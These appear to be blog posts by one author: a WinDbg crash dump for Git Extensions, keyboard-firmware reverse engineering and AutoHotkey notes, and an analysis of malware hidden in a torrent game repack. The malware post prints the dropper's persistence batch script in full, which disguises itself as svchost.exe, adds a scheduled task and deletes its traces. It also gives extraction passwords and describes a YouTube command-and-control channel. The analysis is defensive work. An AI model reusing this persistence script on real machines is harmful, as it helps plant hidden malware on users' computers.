Dot Net Callstack From Windbg
Recently I experienced a bug with Git Extensions and I did not yet have JitMagic set up with dnSpy integration. I needed the callstack to report an issue to the developers.
I chose WinDbg as the just-in-time debugger. And simply ran !analyze -v
:
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
DEBUG_FLR_EXCEPTION_CODE(80131509) and the ".exr -1" ExceptionCode(e0434352) don't match
MethodDesc: 00007ffc4ae31d70
Method Name: System.Reactive.Concurrency.SynchronizationContextScheduler.Schedule[[System.ValueTuple`2[[System.__Canon, mscorlib],[System.__Canon, mscorlib]], System.ValueTuple]](System.ValueTuple`2<System.__Canon,System.__Canon>, System.Func`3<System.Reactive.Concurrency.IScheduler,System.ValueTuple`2<System.__Canon,System.__Canon>,System.IDisposable>)
Class: 00007ffc7f601a38
MethodTable: 00007ffc7fed5ba0
mdToken: 00000000060011ac
Module: 00007ffc7f3b1000
IsJitted: yes
CodeAddr: 00007ffc4ad2e360
Transparency: Critical
GetUrlPageData2 (WinHttp) failed: 12007.
KEY_VALUES_STRING: 1
Key : CLR.System.InvalidOperationException._message
Value: Invoke or BeginInvoke cannot be called on a control until the window handle has been created.
STACKHASH_ANALYSIS: 1
TIMELINE_ANALYSIS: 1
Timeline: !analyze.Start
Name: <blank>
Time: 2020-02-16T21:23:49.402Z
Diff: 402 mSec
Timeline: Dump.Current
Name: <blank>
Time: 2020-02-16T21:23:49.0Z
Diff: 0 mSec
Timeline: Process.Start
Name: <blank>
Time: 2020-02-16T21:17:54.0Z
Diff: 355000 mSec
Timeline: OS.Boot
Name: <blank>
Time: 2020-02-16T13:48:23.0Z
Diff: 27326000 mSec
DUMP_CLASS: 2
DUMP_QUALIFIER: 0
FAULTING_IP:
KERNELBASE!RaiseException+68
00007ffc`b7e7908c 488b8c24c0000000 mov rcx,qword ptr [rsp+0C0h]
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 00007ffcb7e7908c (KERNELBASE!RaiseException+0x0000000000000068)
ExceptionCode: e0434352 (CLR exception)
ExceptionFlags: 00000001
NumberParameters: 5
Parameter[0]: ffffffff80131509
Parameter[1]: 0000000000000000
Parameter[2]: 0000000000000000
Parameter[3]: 0000000000000000
Parameter[4]: 00007ffcaa250000
FAULTING_THREAD: 000010d4
EXCEPTION_CODE: (HRESULT) 0x80131509 (2148734217) - <Unable to get error code text>
EXCEPTION_CODE_STR: 80131509
WATSON_BKT_PROCSTAMP: 5e1310a0
WATSON_BKT_PROCVER: 3.3.1.7897
PROCESS_VER_PRODUCT: Git Extensions
WATSON_BKT_MODULE: KERNELBASE.dll
WATSON_BKT_MODSTAMP: 5d26b6e9
WATSON_BKT_MODOFFSET: 908c
WATSON_BKT_MODVER: 6.3.9600.19425
MODULE_VER_PRODUCT: Microsoft® Windows® Operating System
BUILD_VERSION_STRING: 9600.19629.amd64fre.winblue_ltsb_escrow.200127-1700
MODLIST_WITH_TSCHKSUM_HASH: 642958e44b66935a181d61b4c64e4bdbaa672d71
MODLIST_SHA1_HASH: abdd8c7f6b6b349838b6e46c74e36108e0c55c11
NTGLOBALFLAG: 400
PROCESS_BAM_CURRENT_THROTTLED: 0
PROCESS_BAM_PREVIOUS_THROTTLED: 0
APPLICATION_VERIFIER_FLAGS: 0
PRODUCT_TYPE: 1
SUITE_MASK: 272
DUMP_TYPE: fe
PROCESS_NAME: unknown
MISSING_CLR_SYMBOL: 0
ANALYSIS_SESSION_HOST: MYPC
ANALYSIS_SESSION_TIME: 02-16-2020 22:23:49.0402
ANALYSIS_VERSION: 10.0.17763.132 amd64fre
MANAGED_CODE: 1
MANAGED_ENGINE_MODULE: clr
MANAGED_ANALYSIS_PROVIDER: SOS
MANAGED_THREAD_ID: 10d4
MANAGED_EXCEPTION_ADDRESS: 3c4b0ff98
LAST_CONTROL_TRANSFER: from 00007ffcaa26a451 to 00007ffcb7e7908c
THREAD_ATTRIBUTES:
THREAD_SHA1_HASH_MOD_FUNC: 496307919b5c20eda4b6b1d7f8f57fe40ecc2624
THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 27cfc7cdea8e40dd4dc3a7ebac53d16e2aeb6dac
OS_LOCALE: NLD
BUGCHECK_STR: CLR_EXCEPTION_System.InvalidOperationException
DEFAULT_BUCKET_ID: CLR_EXCEPTION_System.InvalidOperationException
PRIMARY_PROBLEM_CLASS: CLR_EXCEPTION
PROBLEM_CLASSES:
ID: [0n254]
Type: [CLR_EXCEPTION]
Class: Primary
Scope: DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
BUCKET_ID
Name: Add
Data: Omit
PID: [Unspecified]
TID: [0x10d4]
Frame: [0] : KERNELBASE!RaiseException
ID: [0n252]
Type: [@ManagedObjectName]
Class: Addendum
Scope: DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
BUCKET_ID
Name: Omit
Data: Add
String: [System.InvalidOperationException]
PID: [0x2f30]
TID: [Unspecified]
Frame: [0]
STACK_TEXT:
00000003`dc8eec80 00007ffc`91ef1173 System_Windows_Forms_ni!System.Windows.Forms.Control.MarshaledInvoke+0x3d3
00000003`dc8eedc0 00007ffc`91ef0c72 System_Windows_Forms_ni!System.Windows.Forms.Control.BeginInvoke+0x62
00000003`dc8eee30 00007ffc`92972b71 System_Windows_Forms_ni!System.Windows.Forms.WindowsFormsSynchronizationContext.Post+0x51
00000003`dc8eee80 00007ffc`4ad2e47b System_Reactive_ni!System.Reactive.Concurrency.SynchronizationContextScheduler.Schedule[[System.ValueTuple_2[[System.__Canon,_mscorlib],[System.__Canon,_mscorlib]],_System.ValueTuple]]+0x11b
00000003`dc8eeef0 00007ffc`7fb379b4 System_Reactive_ni!System.Reactive.Concurrency.Scheduler.ScheduleAction[[System.__Canon,_mscorlib]]+0x154
00000003`dc8eef70 00007ffc`7fc56771 System_Reactive_ni!System.Reactive.Linq.ObservableImpl.EventProducer_2+Session+__c[[System.__Canon,_mscorlib],[System.__Canon,_mscorlib]]._Connect_b__5_0+0xf1
00000003`dc8eeff0 00007ffc`7fc623e2 System_Reactive_ni!System.Reactive.Disposables.AnonymousDisposable_1[[System.ValueTuple_3[[System.__Canon,_mscorlib],[System.__Canon,_mscorlib],[System.__Canon,_mscorlib]],_System.ValueTuple]].Dispose+0x82
00000003`dc8ef050 00007ffc`7fb3478e System_Reactive_ni!System.Reactive.Disposables.Disposable.TryDispose+0x5e
00000003`dc8ef090 00007ffc`7fc49314 System_Reactive_ni!System.Reactive.Linq.ObservableImpl.Throttle_1+_[[System.__Canon,_mscorlib]].Dispose+0x24
00000003`dc8ef0c0 00007ffc`7fb4797b System_Reactive_ni!System.Reactive.Sink_1[[System.__Canon,_mscorlib]].Dispose+0xab
00000003`dc8ef120 00007ffc`7fb3478e System_Reactive_ni!System.Reactive.Disposables.Disposable.TryDispose+0x5e
00000003`dc8ef160 00007ffc`7fb49003 System_Reactive_ni!System.Reactive.ObserveOnObserverNew_1[[System.__Canon,_mscorlib]].Dispose+0x23
00000003`dc8ef1a0 00007ffc`7fb4797b System_Reactive_ni!System.Reactive.Sink_1[[System.__Canon,_mscorlib]].Dispose+0xab
00000003`dc8ef200 00007ffc`81b9697b GitUI_ni!GitUI.CommitInfo.CommitInfoHeader.DisposeCustomResources+0x1b
00000003`dc8ef230 00007ffc`81aa6643 GitUI_ni!GitUI.GitModuleControl.Dispose+0x53
00000003`dc8ef270 00007ffc`a8233371 System_ni!System.ComponentModel.Component.Finalize+0x11
STACK_COMMAND: !sos.pe 0x3c4b0ff98 ; ** Pseudo Context ** ManagedPseudo ** Value: 534961d8e0 ** ; kb
THREAD_SHA1_HASH_MOD: 15163896b4156cc0a0208a3b87e3d5d6d3923e94
FOLLOWUP_IP:
System_Windows_Forms_ni+2c1173
00007ffc`91ef1173 90 nop
FAULT_INSTR_CODE: 1247e890
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: System_Windows_Forms_ni!System.Windows.Forms.Control.MarshaledInvoke+2c1173
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: System_Windows_Forms
IMAGE_NAME: System.Windows.Forms.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 5d7a9e88
FAILURE_BUCKET_ID: CLR_EXCEPTION_System.InvalidOperationException_80131509_System.Windows.Forms.dll!System.Windows.Forms.Control.MarshaledInvoke
BUCKET_ID: CLR_EXCEPTION_System.InvalidOperationException_System_Windows_Forms_ni!System.Windows.Forms.Control.MarshaledInvoke+2c1173
FAILURE_EXCEPTION_CODE: 80131509
FAILURE_IMAGE_NAME: System.Windows.Forms.dll
BUCKET_ID_IMAGE_STR: System.Windows.Forms.dll
FAILURE_MODULE_NAME: System_Windows_Forms
BUCKET_ID_MODULE_STR: System_Windows_Forms
FAILURE_FUNCTION_NAME: System.Windows.Forms.Control.MarshaledInvoke
BUCKET_ID_FUNCTION_STR: System.Windows.Forms.Control.MarshaledInvoke
BUCKET_ID_OFFSET: 2c1173
BUCKET_ID_MODPRIVATE: 1
BUCKET_ID_MODTIMEDATESTAMP: 5d7a9e88
BUCKET_ID_MODCHECKSUM: 0
BUCKET_ID_MODVER_STR: 4.8.4042.0
BUCKET_ID_PREFIX_STR: CLR_EXCEPTION_System.InvalidOperationException_
FAILURE_PROBLEM_CLASS: CLR_EXCEPTION
FAILURE_SYMBOL_NAME: System.Windows.Forms.dll!System.Windows.Forms.Control.MarshaledInvoke
WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/unknown/3.3.1.7897/5e1310a0/KERNELBASE.dll/6.3.9600.19425/5d26b6e9/80131509/0000908c.htm?Retriage=1
TARGET_TIME: 2020-02-16T21:23:56.000Z
OSBUILD: 9600
OSSERVICEPACK: 19538
SERVICEPACK_NUMBER: 0
OS_REVISION: 0
OSPLATFORM_TYPE: x64
OSNAME: Windows 8.1
OSEDITION: Windows 8.1 WinNt SingleUserTS
USER_LCID: 0
OSBUILD_TIMESTAMP: 2019-10-15 05:45:31
BUILDDATESTAMP_STR: 200127-1700
BUILDLAB_STR: winblue_ltsb_escrow
BUILDOSVER_STR: 6.3.9600.19629.amd64fre.winblue_ltsb_escrow.200127-1700
ANALYSIS_SESSION_ELAPSED_TIME: 1dab
ANALYSIS_SOURCE: UM
FAILURE_ID_HASH_STRING: um:clr_exception_system.invalidoperationexception_80131509_system.windows.forms.dll!system.windows.forms.control.marshaledinvoke
FAILURE_ID_HASH: {c279e3a4-dab2-09ec-a135-2281bfa61101}
Followup: MachineOwner
---------
Everything was magically analyzed and I was able to open an issue. As an added bonus I recently worked to allowing dnSpy to be used as a JIT debugger from JitMagic:
Best regards,
Duncan
Not Analyzing Keyboard Firmware Part 3
In the first post I briefly discussed my motivation to analyze the keyboard’s firmware and I did make a small amount of progress since last time (thanks to /u/thoquz who suggested to try SVD Loader), but unfortunately other projects required my attention and I didn’t think there was enough (interesting) progress to report. However I did make significant progress towards solving my actual problem (a caps lock macro layer), so I decided to share that here as well!
The macro layer
The solution I came up with is based on AutoHotkey, which I heard about but never actually used myself before. For those not familiar, AutoHotkey allows you to create system-wide hotkeys in a custom scripting language. It is a bit weird, but it can apparently do crazy things, so why not give it a try?
After a while of thinking and experimenting I came up with the following key map (thanks to Keyboard Layout Editor. Green is the macro layer, the rest is just for reference:
Initially I just had the arrows + home/end, but while doing some actual programming work I came up with a bunch of other useful things. For example Caps+G(it)
is bound to F13
, which I linked in Visual Studio to start my GitExtBar utility:
Similarly I bound Caps+E(xplore)
to my DirBrowser utility in Visual Studio, which allows me to quickly open the project’s output directory in Total Commander or a command prompt:
A bunch of C++ related symbols are also bound to this layer, so I can keep holding caps lock when closing an if
-block. I also bound Caps+S/D
to scroll the mouse wheel, something I always appreciate in my browser with Saka Key. Finally Alt
is also used for quickly navigating. For Left/Right it acts as Ctrl
(meaning Caps+Alt+J
maps to Ctrl+Left
), for Home/End it acts as Shift
(meaning Caps+Alt+U
maps to Shift+Home
).
If you are interested you can find a snapshot of capslayer.ahk
here. I set up a cloud sync service and a hotkey to quickly reload the script to make sure things work the same across my various computers. Additionally I run the script as Administrator on login to make sure it is always available everywhere.
Beating old habits
Even though my macro layer was working perfectly I still found myself using the arrows and home/end keys over the macro keys all the time. Because I think the macro layer will be a more economic way of typing in the long run I decided to completely disable the original keys (which thankfully is super easy with AutoHotkey). This was quite a pain for a few days at work, but I can now (proudly?) say that I am typing utter garbage on other machines.
Generally I noticed that when it comes to forming habits on your computer, you should always use that same computer to simply enforce what you want to learn and punish old habits. Want to take more breaks? Simply configure Workrave to not allow you to continue and block all inputs. Want to get yourself in the habit of using Total Commander (which, frankly, you should if you value your time as a professional using Windows), use AutoHotkey to redirect Win+E
to start Total Commander. Want to browse social media less? Use StayFocusd.
The future
If time permits and interest comes back I will definitely continue analyzing the keyboard firmware, because I did learn a lot from the short amount of time I spent on it so far. However, for my daily needs I will keep fine-tuning this AutoHotkey-based solution because it is so much easier. I did already find Karabiner-Elements for macOS, which should allow similar things, so I will play with that a bit before my trip next month.
Please let me know if you have any questions or suggestions with regards to my workflow and have a good week!
Duncan
Analyzing Keyboard Firmware Part 2
In last post we looked at obtaining the firmware for my new keyboard. I downloaded the firmware update utility and extracted a firmware image. The next step will be to set up the tooling and try to build a hello world as a point of reference.
I think the first step to any reverse engineering project should be to try and understand how the software you are reverse engineering was developed. Things like the libraries and compilers involved are very important, because without that frame of reference you might waste a lot of time on unimportant implementation details. If you are interested there is a great talk by Alex Ionescu called Reversing Without Reversing that goes more in depth about this topic.
The tools
Now the tricky part about writing a post like this is that it takes hours of research (downloading files, trying different things), but in the end it can be represented as a simple list:
- Download and install Keil MDK-ARM (you can get an evaluation version);
- Install the pack for the SN32F240;
- Download and install
SN32F240_Startkit_Package_V3.4R.zip
; - Open the project in Keil uVision5;
- Hit build.
Pretty much all of the information (including the download links) can be found on the SN32F40 product page. Initially I was having some issues having to be logged in to download the starter kit, but that got magically resolved and from there it was easy.
Installing Keil MDK-ARM is straightforward, just fill in the evaluation form and run the installer. You can then use PackInstaller.exe
to search for and install the SN32F240 pack (alternatively you can use SONiX.SN32F2_DFP.1.2.11.pack
from the starter kit):
You then need to install SONiX’ proprietary Hex2Bin
utility and open SN32F240_Startkit_Package_V3.4R\CMSIS Firmware Library_V3.2\USB_Library_For_64K_V1.5\SN32F240_Demo.uvprojx
in the IDE and hit build (F7). If you did everything right you should see something like:
HexConvertVer = V24
CheckSum = 0xAC6E
".\obj\SN32F240.axf" - 0 Error(s), 0 Warning(s).
Build Time Elapsed: 00:00:01
Now if you take a look in the obj
directory there are two interesting files: SN32F240.BIN
and SN32F240.axf
. The .BIN
file is a firmware image very similar to the one extracted earlier and the .axf
is a regular ELF file.
Ghidra
If you have been living under a rock you might not know that the NSA released their reverse engineering suite called Ghidra a while back. I tried it out a little, but didn’t really have a use case yet so I decided to try and use it for this project. I also tried IDA and it worked fine on the ELF file, but it was a total mess setting up the memory map and getting references to work so I decided to stick with Ghidra.
There was also a bug with Ghidra 9.0.2, so I will be using the 9.1-BETA_DEV version. Now all left to do is create a project in Ghidra, import SN32F240.axf
and load it in the CodeBrowser:
Next steps
In the next post we will take a look at the firmware initialization routines and use the information obtained from the ELF file and the datasheet to be able to properly load and analyze the extracted keyboard firmware. The posts are a bit short for my taste right now, but I do not have that much time to spend on this project so I think it allows me to write more consistently like this.
Best regards,
Duncan
Thanks again to F. for the proofread!
Analyzing Keyboard Firmware Part 1
Recently I bought a cheap SPC Gear GK530 mechanical keyboard to test out the Kailh Brown keyswitches. Overall it has a nice feel and you can change the epic RGB-lights to just be a dimmed constant color so I would recommend it for typing.
Unfortunately the macro/rebind feature is not very much to my liking. Right now you have to switch to Gaming mode (FN+Win
) and then you can use use your modified keymap (with macros). In this mode you cannot use the Windows key (because it is locked) and it is generally quite awkward.
My preferred mode would be that holding Caps Lock
enables my custom layer, which unfortunately does not seem to be supported. At this point I thought it would be a fun project to try and hack the firmware to support this behavior.
Obtaining the firmware
Luckily for us SPC Gear provides two firmware update utilities on their Software page. The utility is called 1 - GK530 keyboard upgrade.exe
and when I started it I was reminded of a similar utility I took at look at in the past.
The similar utility was a firmware upgrade tool for my current keyboard:
When looking at a firmware upgrade tool in the past I documented it on a Github issue. From a quick glance it appears that nothing has changed, except that the firmware is no longer ‘encypted’ now and the UI looks a bit more fancy.
To obtain the image:
- Extract the
"BINARY"
resource (170). You can use CFF Explorer for this task. - The extracted blob is an executable with no functionality, which has an ‘overlay’ appended to it (data after the end of the last section).
- The overlay is the firmware image (65k) with some additional metadata at the end.
The interesting string there is at the very end, which says SN32F24x
(all SONiX chips seem to start with SN). With a bit of Google-fu and creativity you can land on the product page for the SN32F248. Over there you can also find a bunch of links to utilities and manuals, one of which is called SONiX_USB_MCU_ISP_Tool_V2.3.1.7.7z
. Opening the extracted firmware yields a good result:
Additionally there is also a data sheet available to the public (SN32F248_V2.0_EN.pdf
), which should help progressing further. Initial information I gathered is that the chip is based on an ARM Cortex-M0.
Next steps
My next idea of progression is to try and set up the same tooling as someone developing hardware with this chip would. Get a C compiler and actually build a ROM of our own, to have a point of reference when starting reverse engineering. I do not have any experience looking at ARM code and not much experience with embedded software, so anything to aid my understanding in that area will be good.
Hopefully till next time,
Duncan
Thanks to F for the proofread!
Analyzing Torrent Repack Malware
Never trust a repack…
The torrent I looked at was: The Legend of Zelda: Breath of the Wild CEMU 1.8.0b [Multi-Lang]
by HZolomon.
TL;DR: It is definitely malware. All the torrent by HZolomon appear to have been infected with malware equal/similar to this one.
[MEGA Folder with relevant files] WARNING: THIS CONTAINS ACTIVE MALWARE (in case you didn’t read the title and like executing random files)… The key is 8NcPVw1TCm_dvZM9s2SU_g
.
Tooling
I used x64dbg, DbgChild, TitanHide, CFF Explorer, Exe2Aut and VirtualBox.
You have to select the checkboxes in the DbgChild plugin to automatically attach x64dbg to any process started by the executable you’re currently debugging:
From here on I’ll just give a brief description of each analysis step.
setup.exe
- With
innoextract
(innounp
has a similar error):
Stream error while parsing setup headers!
├─ detected setup version: 5.4.2
└─ error reason: basic_ios::clear
If you are sure the setup file is not corrupted, consider
filing a bug report at http://innoextract.constexpr.org/issues
Done with 1 error.
-
Extracts
%temp%\is-[A-Z0-9]{5}.tmp\setup.tmp
(is-K35T2.tmp
in MEGA folder) -
Probably this is: http://forum.ru-board.com/topic.cgi?forum=5&topic=34920&start=0&limit=1&m=1#1 and/or http://krinkels.org/resources/categories/innoultra.29/
setup.tmp
Command line (this is similar to what InnoSetup does from what I know):
"C:\Users\Admin\AppData\Local\Temp\is-RPR25.tmp\setup.tmp" /SL5="$230522,1892858,54272,F:\Users\Admin\Documents\Downloads\The Legend of Zelda - Breath of the Wild\setup.exe"
-
Extracts
%temp%\is-[A-Z0-9]{5}.tmp\ISDone.dll
and some other files (includingunarc.dll
). -
Put a DLL breakpoint on
unarc.dll
in x64dbg. -
Start the installation, which causes more stuff to be extracted to
%temp%\is-[A-Z0-9]{5}.tmp
.
All the extracted files are hidden. You can use attrib -S -H
to unhide them (Windows explorer doesn’t allow you to do uncheck the Hidden
box for some readon).
- Break on
FreeArcExtract
(see my earlier blog post for more details). TL;DR it runsunarc.exe
with the function arguments as command line arguments.
Some of the commands used in FreeArcExtract
:
l -- setup-2.bin
x -o+ -pawdawdawd -wF:\BotW\ -dpF:\BotW\ -- setup-2.bin
- Find
cbArcExtract
atISDone.dll:$1A340
from the first parameter ofFreeArcExtract
, break on thepassword?
action check:
Arc password: awdawdawd
The unarc.dll
uses compression algorithm hooks from facompress.dll
(relevant code) + hooks for CLS-compressors (relevant code, CLS-MSC.dll
, CLS-srep.dll
) so make sure to put those next to unarc.exe
if you want to (safely) extract the files.
- After all the files are extracted it runs
DSETUP.exe
, which at first looked fine, but looking a second time the file is not signed by Microsoft and it has no version information or anything.
DSETUP.exe
This is an AutoIt executable (32 bit), it’s basically the first layer of the dropper. With Exe2Aut I extracted the script (slightly deobfuscated by hand):
It tries to identify your anti-virus and based on that drops CLDe2bugLog.txt
in your temp directory with the FileInstall
function. It then replaces the bytes 00000000001C0004
with 377ABCAF271C0004
(7z header) and extracts it with the following command:
CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt
The contents of CRDebugLog.txt
, but the malware inside does pretty much the same thing. I (unfortunately) looked at the contents of dxdllreg_x86
:
64.exe
SystemCheck.xml
start.bat
start.bat
attrib -h -r -s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
copy /y "64.exe" "%userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe"
attrib +h +r +s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
schtasks.exe /Create /XML "SystemCheck.xml" /TN "System\SystemCheck"
del 64.exe /f
del SystemCheck.xml /f
del CRDebugLog.txt /f
del CLDebugLog.txt /f
del "%0"
This copies the file to %userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe
, which made it clear that this is indeed a malicious file. It then goes on to create a scheduled task with SystemCheck.xml
.
SystemCheck.xml
This executes the newly-created svchost.exe
with the -WindowsCheck
command line every X amount of time (probably days, not really worth exploring in this case).
64.exe (svchost.exe)
This file is packed with Enigma x64. TitanHide works fine for debugging Enigma (ScyllaHide has issues). The original entry point (OEP) is at 64.exe:$3059C
. It has stolen bytes, but they are easy to retrieve:
48 83 EC 28 E8 BF B3 00 00 48 83 C4 28 E9 36 FE FF FF
EDIT: I have been asked on reddit to give more details about the “stolen bytes” mentioned here. Before I could answer user izizizizizizi gave a nice explanation:
“Stolen bytes” (is there any non-colloquial name for this I wonder) is a feature of many packers/protectors which prevents easy dumping. During the protection process, a part of the original executable code gets removed and stored in the protector stub. When it’s about to be executed there’s a redirection to the protector’s code instead of the original function. The stub either writes original code in some dynamic buffer and executes it or an obfuscated version of the original function is executed.
To get them I created my own Hello World
-style AutoIt executable and pasted the entry point.
After the ‘unpacking’ enigma, I extracted the SCRIPT
resource and put it in a Hello World
AutoIt executable (32 bit), I then used Exe2Aut.exe
to get the AutoIt script source code (irrelevant parts omitted):
The interesting part is the bot()
function:
It uses a YouTube video (reported, but please report again) as a command and control mechanism. If the description contains one of the _download
, _run
, etc. command it will perform certain actions based on the data in the description (such as downloading a file or updating to a newer version).
It also appears to run some kind of crypto currency miner, although I couldn’t find the SystemCheck
executable:
Well, that has been all for today. It has certainly been fun reversing malware for a change!
“Heb ik dat nou al gezouten?”